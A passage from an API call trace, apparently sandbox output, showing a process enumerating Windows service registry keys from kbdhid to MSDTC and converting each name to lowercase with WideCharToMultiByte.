lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0224.847] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0224.847] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0224.847] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0224.847] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0224.847] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0224.847] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0224.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0224.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0224.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0224.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0224.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0224.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0224.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0224.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0224.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0224.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0224.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0224.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0224.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0224.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0224.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1cd0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0224.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0224.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0224.851] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0224.851] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0224.851] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0224.851] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0224.851] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1ad8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0224.851] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0224.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0224.852] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0224.852] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0224.852] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0224.852] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0224.852] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0224.852] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0224.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0224.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0224.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0224.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", 